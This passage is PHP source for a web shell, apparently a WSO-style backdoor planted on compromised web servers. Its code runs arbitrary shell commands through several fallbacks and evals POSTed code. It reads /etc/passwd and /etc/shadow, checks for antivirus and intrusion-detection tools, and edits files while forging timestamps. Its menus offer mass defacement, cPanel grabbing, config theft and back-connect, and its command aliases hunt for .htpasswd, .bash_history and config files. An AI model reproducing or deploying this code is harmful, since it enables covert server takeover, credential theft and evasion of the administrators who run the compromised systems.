)\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>\";\r\n\t\$freeSpace = @diskfreespace(\$GLOBALS['cwd']);\r\n\t\$totalSpace = @disk_total_space(\$GLOBALS['cwd']);\r\n\t\$totalSpace = \$totalSpace?\$totalSpace:1;\r\n\t\$release = @php_uname('r');\r\n\t\$kernel = @php_uname('s');\r\n\t\$explink = 'https://www.exploit-db.com/search/?action=search&description=';\r\n\tif(strpos('Linux', \$kernel) !== false)\r\n\t\t\$explink .= urlencode('Linux Kernel ' . substr(\$release,0,6));\r\n\telse\r\n\t\t\$explink .= urlencode(\$kernel . ' ' . substr(\$release,0,3));\r\n\tif(!function_exists('posix_getegid')) {\r\n\t\t\$user = @get_current_user();\r\n\t\t\$uid = @getmyuid();\r\n\t\t\$gid = @getmygid();\r\n\t\t\$group = \"?\";\r\n\t} else {\r\n\t\t\$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t\$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t\$user = \$uid['name'];\r\n\t\t\$uid = \$uid['uid'];\r\n\t\t\$group = \$gid['name'];\r\n\t\t\$gid = \$gid['gid'];\r\n\t}\r\n\t\$cwd_links = '';\r\n\t\$path = explode(\"/\", \$GLOBALS['cwd']);\r\n\t\$n=count(\$path);\r\n\tfor(\$i=0; \$i<\$n-1; \$i++) {\r\n\t\t\$cwd_links .= \"<a href='#' onclick='g(\\\"FilesMan\\\",\\\"\";\r\n\t\tfor(\$j=0; \$j<=\$i; \$j++)\r\n\t\t\t\$cwd_links .= \$path[\$j].'/';\r\n\t\t\$cwd_links .= \"\\\")'>\".\$path[\$i].\"/</a>\";\r\n\t}\r\n\t\$charsets = array('Windows-1251', 'UTF-8', 'KOI8-R', 'KOI8-U', 'cp866');\r\n\t\$opt_charsets = '';\r\n\tforeach(\$charsets as \$asciifnc6)\r\n\t\t\$opt_charsets .= '<option value=\"'.\$asciifnc6.'\" '.(\$_POST['charset']==\$asciifnc6?'selected':'').'>'.\$asciifnc6.'</option>';\r\n\t\$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Mass Deface'=>'Sql','Adminer'=>'Adminer','Terminal'=>'Console','Mass User'=>'Edituser','Grab Cpanel'=>'Php','Get Configs'=>'SafeMode','Sym Python'=>'Sym','Jumping'=>'StringTools','Cgi Telnet'=>'Bruteforce','Bypass'=>'bypas','BC'=>'Network');\r\n\tif(!empty(\$GLOBALS['asciifnc5']))\r\n\r\n\t\$m['WHM Auto'] = 'Reseller';\r\n\t\$m['Logout'] = 'Logout';\r\n\t\$m['Self Remove'] = 'SelfRemove';\r\n\t\$menu = '';\r\n\tforeach(\$m as \$k => \$v)\r\n\t\t\$menu .= '<th> <font color=\"#ffb101\">- <a href=\"#\" onclick=\"g(\\''.\$v.'\\',null,\\'\\',\\'\\',\\'\\')\">'.\$k.'</a></font></th>';\r\n\t\$drives = \"\";\r\n\tif (\$GLOBALS['os'] == 'win') {\r\n\t\tforeach(range('c','z') as \$drive)\r\n\t\tif (is_dir(\$drive.':\\\\'))\r\n\t\t\t\$drives .= '<a href=\"#\" onclick=\"g(\\'FilesMan\\',\\''.\$drive.':/\\')\">[ '.\$drive.' ]</a> ';\r\n\t}\r\n\t/* (\xd0\xa1) 08.2015 dmkcv */\r\n\techo '<table class=infoo cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.(\$GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.\r\n\t\t '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href=\"https://anon.click/protected/https://www.google.com/search?q='.urlencode(@php_uname()).'\" target=\"_blank\">[ Google ]</a> <a href=\"'.\$explink.'\" target=_blank>[ Exploit-DB ]</a></nobr><br>'.\$uid.' ( '.\$user.' ) <span>Group:</span> '.\$gid.' ( ' .\$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.(\$GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#ffffff><b>OFF</b></font>').' <a href=# onclick=\"g(\\'Php\\',null,null,\\'info\\')\">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize(\$totalSpace).' <span>Free:</span> '.viewSize(\$freeSpace).' ('.round(100/(\$totalSpace/\$freeSpace),2).'%)<br>'.\$cwd_links.' '.viewPermsColor(\$GLOBALS['cwd']).' <a href=# onclick=\"g(\\'FilesMan\\',\\''.\$GLOBALS['home_cwd'].'\\',\\'\\',\\'\\',\\'\\')\">[ home ]</a><br>'.\$drives.'</td>'.\r\n\t\t '<td width=1 align=right><nobr><label><select onchange=\"g(null,null,null,null,null,this.value)\">'.\$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname(\$_SERVER[\"HTTP_HOST\"]).'<br><span>Client IP:</span><br>'.\$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.\r\n\t\t '<table style=\"background-color:#373c42;\" cellpadding=3 cellspacing=0 width=100%><tr>'.\$menu.'</tr></table><div>';\r\n}\r\nfunction hardFooter() {\r\n\t\$is_writable = is_writable(\$GLOBALS['cwd'])?\" <font color='#ffffff'>[ Writeable ]</font>\":\" <font color=red>(Not writable)</font>\";\r\n    echo \"\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\\"\".( function_exists('actionFilesMan')? \"g(null,this.c.value,'');\":'' ).\"return false;\\\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='\" . htmlspecialchars(\$GLOBALS['cwd']) .\"'><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\\\"\".(function_exists('actionFilesTools')? \"g('FilesTools',null,this.f.value);\":'' ).\"return false;\\\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\\"\".( function_exists('actionFilesMan')? \"g('FilesMan',null,'mkdir',this.d.value);\":'' ).\"return false;\\\"><span>Make dir:</span>\$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\\\"\".( function_exists('actionFilesTools')? \"g('FilesTools',null,this.f.value,'mkfile');\":'' ).\"return false;\\\"><span>Make file:</span>\$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\\"\".( function_exists('actionConsole')? \"g('Console',null,this.c.value);\":'' ).\"return false;\\\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\r\n\t\t<td><form method='post' \".( (!function_exists('actionFilesMan'))? \" onsubmit=\\\"return false;\\\" \":'' ).\"ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='FilesMan'>\r\n\t\t<input type=hidden name=c value='\" . htmlspecialchars(\$GLOBALS['cwd']) .\"'>\r\n\t\t<input type=hidden name=p1 value='uploadFile'>\r\n\t\t<input type=hidden name=ne value=''>\r\n\t\t<input type=hidden name=charset value='\" . (isset(\$_POST['charset'])?\$_POST['charset']:'') . \"'>\r\n\t\t<span>Upload file:</span>\$is_writable<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\r\n\t</tr></table></div>\r\n\r\n\r\n\t</body></html>\";\r\n}\r\nif (!function_exists(\"posix_getpwuid\") && (strpos(\$GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid(\$p) {return false;} }\r\nif (!function_exists(\"posix_getgrgid\") && (strpos(\$GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid(\$p) {return false;} }\r\nfunction ex(\$in) {\r\n\t\$asciifnc7 = '';\r\n\tif (function_exists('exec')) {\r\n\t\t@exec(\$in,\$asciifnc7);\r\n\t\t\$asciifnc7 = @join(\"\\n\",\$asciifnc7);\r\n\t} elseif (function_exists('passthru')) {\r\n\t\tob_start();\r\n\t\t@passthru(\$in);\r\n\t\t\$asciifnc7 = ob_get_clean();\r\n\t} elseif (function_exists('system')) {\r\n\t\tob_start();\r\n\t\t@system(\$in);\r\n\t\t\$asciifnc7 = ob_get_clean();\r\n\t} elseif (function_exists('shell_exec')) {\r\n\t\t\$asciifnc7 = shell_exec(\$in);\r\n\t} elseif (is_resource(\$f = @popen(\$in,\"r\"))) {\r\n\t\t\$asciifnc7 = \"\";\r\n\t\twhile(!@feof(\$f))\r\n\t\t\t\$asciifnc7 .= fread(\$f,1024);\r\n\t\tpclose(\$f);\r\n\t}else return \"\xe2\x86\xb3 Unable to execute command\\n\";\r\n\treturn (\$asciifnc7==''?\"\xe2\x86\xb3 Query did not return anything\\n\":\$asciifnc7);\r\n}\r\nfunction viewSize(\$s) {\r\n\tif(\$s >= 1073741824)\r\n\t\treturn sprintf('%1.2f', \$s / 1073741824 ). ' GB';\r\n\telseif(\$s >= 1048576)\r\n\t\treturn sprintf('%1.2f', \$s / 1048576 ) . ' MB';\r\n\telseif(\$s >= 1024)\r\n\t\treturn sprintf('%1.2f', \$s / 1024 ) . ' KB';\r\n\telse\r\n\t\treturn \$s . ' B';\r\n}\r\nfunction perms(\$p) {\r\n\tif ((\$p & 0xC000) == 0xC000)\$i = 's';\r\n\telseif ((\$p & 0xA000) == 0xA000)\$i = 'l';\r\n\telseif ((\$p & 0x8000) == 0x8000)\$i = '-';\r\n\telseif ((\$p & 0x6000) == 0x6000)\$i = 'b';\r\n\telseif ((\$p & 0x4000) == 0x4000)\$i = 'd';\r\n\telseif ((\$p & 0x2000) == 0x2000)\$i = 'c';\r\n\telseif ((\$p & 0x1000) == 0x1000)\$i = 'p';\r\n\telse \$i = 'u';\r\n\t\$i .= ((\$p & 0x0100) ? 'r' : '-');\r\n\t\$i .= ((\$p & 0x0080) ? 'w' : '-');\r\n\t\$i .= ((\$p & 0x0040) ? ((\$p & 0x0800) ? 's' : 'x' ) : ((\$p & 0x0800) ? 'S' : '-'));\r\n\t\$i .= ((\$p & 0x0020) ? 'r' : '-');\r\n\t\$i .= ((\$p & 0x0010) ? 'w' : '-');\r\n\t\$i .= ((\$p & 0x0008) ? ((\$p & 0x0400) ? 's' : 'x' ) : ((\$p & 0x0400) ? 'S' : '-'));\r\n\t\$i .= ((\$p & 0x0004) ? 'r' : '-');\r\n\t\$i .= ((\$p & 0x0002) ? 'w' : '-');\r\n\t\$i .= ((\$p & 0x0001) ? ((\$p & 0x0200) ? 't' : 'x' ) : ((\$p & 0x0200) ? 'T' : '-'));\r\n\treturn \$i;\r\n}\r\nfunction viewPermsColor(\$f) {\r\n\tif (!@is_readable(\$f))\r\n\t\treturn '<font color=#ffb101><b>'.perms(@fileperms(\$f)).'</b></font>';\r\n\telseif (!@is_writable(\$f))\r\n\t\treturn '<font color=white><b>'.perms(@fileperms(\$f)).'</b></font>';\r\n\telse\r\n\t\treturn '<font color=#ffffff><b>'.perms(@fileperms(\$f)).'</b></font>';\r\n}\r\nfunction hardScandir(\$dir) {\r\n    if(function_exists(\"scandir\")) {\r\n        return scandir(\$dir);\r\n    } else {\r\n        \$dh  = opendir(\$dir);\r\n        while (false !== (\$filename = readdir(\$dh)))\r\n            \$files[] = \$filename;\r\n        return \$files;\r\n    }\r\n}\r\nfunction which(\$p) {\r\n\t\$path = ex('which ' . \$p);\r\n\tif(!empty(\$path))\r\n\t\treturn \$path;\r\n\treturn false;\r\n}\r\n\r\n\r\nfunction actionRC() {\r\n\tif(!@\$_POST['p1']) {\r\n\t\t\$a = array(\r\n\t\t\t\"uname\" => php_uname(),\r\n\t\t\t\"php_version\" => phpversion(),\r\n\t\t\t\"VERSION\" => VERSION,\r\n\t\t\t\"safemode\" => @ini_get('safe_mode')\r\n\t\t);\r\n\t\techo serialize(\$a);\r\n\t} else {\r\n\t\teval(\$_POST['p1']);\r\n\t}\r\n}\r\nfunction prototype(\$k, \$v) {\r\n    \$_COOKIE[\$k] = \$v;\r\n    setcookie(\$k, \$v);\r\n}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo '<h1>Server security information</h1><div class=content>';\r\n\tfunction showSecParam(\$n, \$v) {\r\n\t\t\$v = trim(\$v);\r\n\t\tif(\$v) {\r\n\t\t\techo '<span>' . \$n . ': </span>';\r\n\t\t\tif(strpos(\$v, \"\\n\") === false)\r\n\t\t\t\techo \$v . '<br>';\r\n\t\t\telse\r\n\t\t\t\techo '<pre class=ml1>' . \$v . '</pre>';\r\n\t\t}\r\n\t}\r\n\tshowSecParam('Server software', @getenv('SERVER_SOFTWARE'));\r\n    if(function_exists('apache_get_modules'))\r\n        showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));\r\n\tshowSecParam('Disabled PHP Functions', \$GLOBALS['disable_functions']?\$GLOBALS['disable_functions']:'none');\r\n\tshowSecParam('Open base dir', @ini_get('open_basedir'));\r\n\tshowSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));\r\n\tshowSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));\r\n\tshowSecParam('cURL support', function_exists('curl_version')?'enabled':'no');\r\n\t\$temp=array();\r\n\tif(function_exists('mysql_get_client_info'))\r\n\t\t\$temp[] = \"MySql (\".mysql_get_client_info().\")\";\r\n\tif(function_exists('mssql_connect'))\r\n\t\t\$temp[] = \"MSSQL\";\r\n\tif(function_exists('pg_connect'))\r\n\t\t\$temp[] = \"PostgreSQL\";\r\n\tif(function_exists('oci_connect'))\r\n\t\t\$temp[] = \"Oracle\";\r\n\tshowSecParam('Supported databases', implode(', ', \$temp));\r\n\techo '<br>';\r\n\tif(\$GLOBALS['os'] == 'nix') {\r\n            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?\"yes <a href='#' onclick='g(\\\"FilesTools\\\", \\\"/etc/\\\", \\\"passwd\\\")'>[view]</a>\":'no');\r\n            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?\"yes <a href='#' onclick='g(\\\"FilesTools\\\", \\\"/etc/\\\", \\\"shadow\\\")'>[view]</a>\":'no');\r\n            showSecParam('OS version', @file_get_contents('/proc/version'));\r\n            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));\r\n            if(!\$GLOBALS['safe_mode']) {\r\n                \$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');\r\n                \$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');\r\n                \$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');\r\n                echo '<br>';\r\n                \$temp=array();\r\n                foreach (\$userful as \$asciifnc6)\r\n                    if(which(\$asciifnc6))\r\n                        \$temp[] = \$asciifnc6;\r\n                showSecParam('Userful', implode(', ',\$temp));\r\n                \$temp=array();\r\n                foreach (\$danger as \$asciifnc6)\r\n                    if(which(\$asciifnc6))\r\n                        \$temp[] = \$asciifnc6;\r\n                showSecParam('Danger', implode(', ',\$temp));\r\n                \$temp=array();\r\n                foreach (\$downloaders as \$asciifnc6)\r\n                    if(which(\$asciifnc6))\r\n                        \$temp[] = \$asciifnc6;\r\n                showSecParam('Downloaders', implode(', ',\$temp));\r\n                echo '<br/>';\r\n                showSecParam('HDD space', ex('df -h'));\r\n                showSecParam('Hosts', @file_get_contents('/etc/hosts'));\r\n\t\t\t\tshowSecParam('Mount options', @file_get_contents('/etc/fstab'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam('OS Version',ex('ver'));\r\n\t\tshowSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));\r\n\t\tshowSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));\r\n\t}\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionFilesTools() {\r\n\tif( isset(\$_POST['p1']) )\r\n\t\t\$_POST['p1'] = urldecode(\$_POST['p1']);\r\n\tif(@\$_POST['p2']=='download') {\r\n\t\tif(@is_file(\$_POST['p1']) && @is_readable(\$_POST['p1'])) {\r\n\t\t\tob_start(\"ob_gzhandler\", 4096);\r\n\t\t\theader(\"Content-Disposition: attachment; filename=\".basename(\$_POST['p1']));\r\n\t\t\tif (function_exists(\"mime_content_type\")) {\r\n\t\t\t\t\$type = @mime_content_type(\$_POST['p1']);\r\n\t\t\t\theader(\"Content-Type: \" . \$type);\r\n\t\t\t} else\r\n                header(\"Content-Type: application/octet-stream\");\r\n\t\t\t\$fp = @fopen(\$_POST['p1'], \"r\");\r\n\t\t\tif(\$fp) {\r\n\t\t\t\twhile(!@feof(\$fp))\r\n\t\t\t\t\techo @fread(\$fp, 1024);\r\n\t\t\t\tfclose(\$fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @\$_POST['p2'] == 'mkfile' ) {\r\n\t\tif(!file_exists(\$_POST['p1'])) {\r\n\t\t\t\$fp = @fopen(\$_POST['p1'], 'w');\r\n\t\t\tif(\$fp) {\r\n\t\t\t\t\$_POST['p2'] = \"edit\";\r\n\t\t\t\tfclose(\$fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo '<h1>File tools</h1><div class=content>';\r\n\tif( !file_exists(@\$_POST['p1']) ) {\r\n\t\techo 'File not exists';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t\$uid = @posix_getpwuid(@fileowner(\$_POST['p1']));\r\n\tif(!\$uid) {\r\n\t\t\$uid['name'] = @fileowner(\$_POST['p1']);\r\n\t\t\$gid['name'] = @filegroup(\$_POST['p1']);\r\n\t} else \$gid = @posix_getgrgid(@filegroup(\$_POST['p1']));\r\n\techo '<span>Name:</span> '.htmlspecialchars(@basename(\$_POST['p1'])).' <span>Size:</span> '.(is_file(\$_POST['p1'])?viewSize(filesize(\$_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor(\$_POST['p1']).' <span>Owner/Group:</span> '.\$uid['name'].'/'.\$gid['name'].'<br>';\r\n\techo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime(\$_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime(\$_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime(\$_POST['p1'])).'<br><br>';\r\n\tif( empty(\$_POST['p2']) )\r\n\t\t\$_POST['p2'] = 'view';\r\n\tif( is_file(\$_POST['p1']) )\r\n\t\t\$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');\r\n\telse\r\n\t\t\$m = array('Chmod', 'Rename', 'Touch');\r\n\tforeach(\$m as \$v)\r\n\t\techo '<a href=# onclick=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',\\''.strtolower(\$v).'\\')\">'.((strtolower(\$v)==@\$_POST['p2'])?'<b>[ '.\$v.' ]</b>':\$v).'</a> ';\r\n\techo '<br><br>';\r\n\tswitch(\$_POST['p2']) {\r\n\t\tcase 'view':\r\n\t\t\techo '<pre class=ml1>';\r\n\t\t\t\$fp = @fopen(\$_POST['p1'], 'r');\r\n\t\t\tif(\$fp) {\r\n\t\t\t\twhile( !@feof(\$fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread(\$fp, 1024));\r\n\t\t\t\t@fclose(\$fp);\r\n\t\t\t}\r\n\t\t\techo '</pre>';\r\n\t\t\tbreak;\r\n\t\tcase 'highlight':\r\n\t\t\tif( @is_readable(\$_POST['p1']) ) {\r\n\t\t\t\techo '<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">';\r\n\t\t\t\t\$oRb = @highlight_file(\$_POST['p1'],true);\r\n\t\t\t\techo str_replace(array('<span ','</span>'), array('<font ','</font>'),\$oRb).'</div>';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase 'chmod':\r\n\t\t\tif( !empty(\$_POST['p3']) ) {\r\n\t\t\t\t\$perms = 0;\r\n\t\t\t\tfor(\$i=strlen(\$_POST['p3'])-1;\$i>=0;--\$i)\r\n\t\t\t\t\t\$perms += (int)\$_POST['p3'][\$i]*pow(8, (strlen(\$_POST['p3'])-\$i-1));\r\n\t\t\t\tif(!@chmod(\$_POST['p1'], \$perms))\r\n\t\t\t\t\techo 'Can\\'t set permissions!<br><script>document.mf.p3.value=\"\";</script>';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo '<script>p3_=\"\";</script><form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,this.chmod.value);return false;\"><input type=text name=chmod value=\"'.substr(sprintf('%o', fileperms(\$_POST['p1'])),-4).'\"><input type=submit value=\"submit\"></form>';\r\n\t\t\tbreak;\r\n\t\tcase 'edit':\r\n\t\t\tif( !is_writable(\$_POST['p1'])) {\r\n\t\t\t\techo 'File isn\\'t writeable';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty(\$_POST['p3']) ) {\r\n\t\t\t\t\$time = @filemtime(\$_POST['p1']);\r\n\t\t\t\t\$_POST['p3'] = substr(\$_POST['p3'],1);\r\n\t\t\t\t\$fp = @fopen(\$_POST['p1'],\"w\");\r\n\t\t\t\tif(\$fp) {\r\n\t\t\t\t\t@fwrite(\$fp,\$_POST['p3']);\r\n\t\t\t\t\t@fclose(\$fp);\r\n\t\t\t\t\techo 'Saved!<br><script>p3_=\"\";</script>';\r\n\t\t\t\t\t@touch(\$_POST['p1'],\$time,\$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo '<form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,\\'1\\'+this.text.value);return false;\"><textarea name=text class=bigarea>';\r\n\t\t\t\$fp = @fopen(\$_POST['p1'], 'r');\r\n\t\t\tif(\$fp) {\r\n\t\t\t\twhile( !@feof(\$fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread(\$fp, 1024));\r\n\t\t\t\t@fclose(\$fp);\r\n\t\t\t}\r\n\t\t\techo '</textarea><input type=submit value=\"submit\"></form>';\r\n\t\t\tbreak;\r\n\t\tcase 'hexdump':\r\n\t\t\t\$c = @file_get_contents(\$_POST['p1']);\r\n\t\t\t\$n = 0;\r\n\t\t\t\$h = array('00000000<br>','','');\r\n\t\t\t\$len = strlen(\$c);\r\n\t\t\tfor (\$i=0; \$i<\$len; ++\$i) {\r\n\t\t\t\t\$h[1] .= sprintf('%02X',ord(\$c[\$i])).' ';\r\n\t\t\t\tswitch ( ord(\$c[\$i]) ) {\r\n\t\t\t\t\tcase 0:  \$h[2] .= ' '; break;\r\n\t\t\t\t\tcase 9:  \$h[2] .= ' '; break;\r\n\t\t\t\t\tcase 10: \$h[2] .= ' '; break;\r\n\t\t\t\t\tcase 13: \$h[2] .= ' '; break;\r\n\t\t\t\t\tdefault: \$h[2] .= \$c[\$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t\$n++;\r\n\t\t\t\tif (\$n == 32) {\r\n\t\t\t\t\t\$n = 0;\r\n\t\t\t\t\tif (\$i+1 < \$len) {\$h[0] .= sprintf('%08X',\$i+1).'<br>';}\r\n\t\t\t\t\t\$h[1] .= '<br>';\r\n\t\t\t\t\t\$h[2] .= \"\\n\";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style=\"font-weight: normal;\"><pre>'.\$h[0].'</pre></span></td><td bgcolor=#000000><pre>'.\$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars(\$h[2]).'</pre></td></tr></table>';\r\n\t\t\tbreak;\r\n\t\tcase 'rename':\r\n\t\t\tif( !empty(\$_POST['p3']) ) {\r\n\t\t\t\tif(!@rename(\$_POST['p1'], \$_POST['p3']))\r\n\t\t\t\t\techo 'Can\\'t rename!<br>';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie('<script>g(null,null,\"'.urlencode(\$_POST['p3']).'\",null,\"\")</script>');\r\n\t\t\t}\r\n\t\t\techo '<form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,this.name.value);return false;\"><input type=text name=name value=\"'.htmlspecialchars(\$_POST['p1']).'\"><input type=submit value=\"submit\"></form>';\r\n\t\t\tbreak;\r\n\t\tcase 'touch':\r\n\t\t\tif( !empty(\$_POST['p3']) ) {\r\n\t\t\t\t\$time = strtotime(\$_POST['p3']);\r\n\t\t\t\tif(\$time) {\r\n\t\t\t\t\tif(!touch(\$_POST['p1'],\$time,\$time))\r\n\t\t\t\t\t\techo 'Fail!';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo 'Touched!';\r\n\t\t\t\t} else echo 'Bad time format!';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo '<script>p3_=\"\";</script><form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,this.touch.value);return false;\"><input type=text name=touch value=\"'.date(\"Y-m-d H:i:s\", @filemtime(\$_POST['p1'])).'\"><input type=submit value=\"submit\"></form>';\r\n\t\t\tbreak;\r\n\t\t/* (\xd0\xa1) 12.2015 mitryz */\r\n\t\tcase 'frame':\r\n\t\t\t\$frameSrc = substr(htmlspecialchars(\$GLOBALS['cwd']), strlen(htmlspecialchars(\$_SERVER['DOCUMENT_ROOT'])));\r\n\t\t\tif (\$frameSrc[0] != '/')\r\n\t\t\t\t\$frameSrc = '/' . \$frameSrc;\r\n\t\t\tif (\$frameSrc[strlen(\$frameSrc) - 1] != '/')\r\n\t\t\t\t\$frameSrc = \$frameSrc . '/';\r\n\t\t\t\$frameSrc = \$frameSrc . htmlspecialchars(\$_POST['p1']);\r\n\t\t\techo '<iframe frameBorder=0 width=\"100%\" height=\"900px\" scrolling=\"no\" src='.\$frameSrc.' onload=\"onload=height=contentDocument.body.scrollHeight\"></iframe>';\r\n\t\t\tbreak;\r\n\t}\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nif(\$os == 'win')\r\n\t\$aliases = array(\r\n\t\t\"List Directory\" => \"dir\",\r\n    \t\"Find index.php in current dir\" => \"dir /s /w /b index.php\",\r\n    \t\"Find *config*.php in current dir\" => \"dir /s /w /b *config*.php\",\r\n    \t\"Show active connections\" => \"netstat -an\",\r\n    \t\"Show running services\" => \"net start\",\r\n    \t\"User accounts\" => \"net user\",\r\n    \t\"Show computers\" => \"net view\",\r\n\t\t\"ARP Table\" => \"arp -a\",\r\n\t\t\"IP Configuration\" => \"ipconfig /all\"\r\n\t);\r\nelse\r\n\t\$aliases = array(\r\n  \t\t\"List dir\" => \"ls -lha\",\r\n\t\t\"list file attributes on a Linux second extended file system\" => \"lsattr -va\",\r\n  \t\t\"show opened ports\" => \"netstat -an | grep -i listen\",\r\n        \"process status\" => \"ps aux\",\r\n\t\t\"Find\" => \"\",\r\n  \t\t\"find all suid files\" => \"find / -type f -perm -04000 -ls\",\r\n  \t\t\"find suid files in current dir\" => \"find . -type f -perm -04000 -ls\",\r\n  \t\t\"find all sgid files\" => \"find / -type f -perm -02000 -ls\",\r\n  \t\t\"find sgid files in current dir\" => \"find . -type f -perm -02000 -ls\",\r\n  \t\t\"find config.inc.php files\" => \"find / -type f -name config.inc.php\",\r\n  \t\t\"find config* files\" => \"find / -type f -name \\\"config*\\\"\",\r\n  \t\t\"find config* files in current dir\" => \"find . -type f -name \\\"config*\\\"\",\r\n  \t\t\"find all writable folders and files\" => \"find / -perm -2 -ls\",\r\n  \t\t\"find all writable folders and files in current dir\" => \"find . -perm -2 -ls\",\r\n  \t\t\"find all service.pwd files\" => \"find / -type f -name service.pwd\",\r\n  \t\t\"find service.pwd files in current dir\" => \"find . -type f -name service.pwd\",\r\n  \t\t\"find all .htpasswd files\" => \"find / -type f -name .htpasswd\",\r\n  \t\t\"find .htpasswd files in current dir\" => \"find . -type f -name .htpasswd\",\r\n  \t\t\"find all .bash_history files\" => \"find / -type f -name .bash_history\",\r\n  \t\t\"find .bash_history files in current dir\" => \"find . -type f -name .bash_history\",\r\n  \t\t\"find all .fetchmailrc files\" => \"find / -type f -name .fetchmailrc\",\r\n  \t\t\"find .fetchmailrc files in current dir\" => \"find . -type f -name .fetchmailrc\",\r\n\t\t\"Locate\" => \"\",\r\n  \t\t\"locate httpd.conf files\" => \"locate httpd.conf\",\r\n\t\t\"locate vhosts.conf files\" => \"locate vhosts.conf\",\r\n\t\t\"locate proftpd.conf files\" => \"locate proftpd.conf\",\r\n\t\t\"locate psybnc.conf files\" => \"locate psybnc.conf\",\r\n\t\t\"locate my.conf files\" => \"locate my.conf\",\r\n\t\t\"locate admin.php files\" =>\"locate admin.php\",\r\n\t\t\"locate cfg.php files\" => \"locate cfg.php\",\r\n\t\t\"locate conf.php files\" => \"locate conf.php\",\r\n\t\t\"locate config.dat files\" => \"locate config.dat\",\r\n\t\t\"locate config.php files\" => \"locate 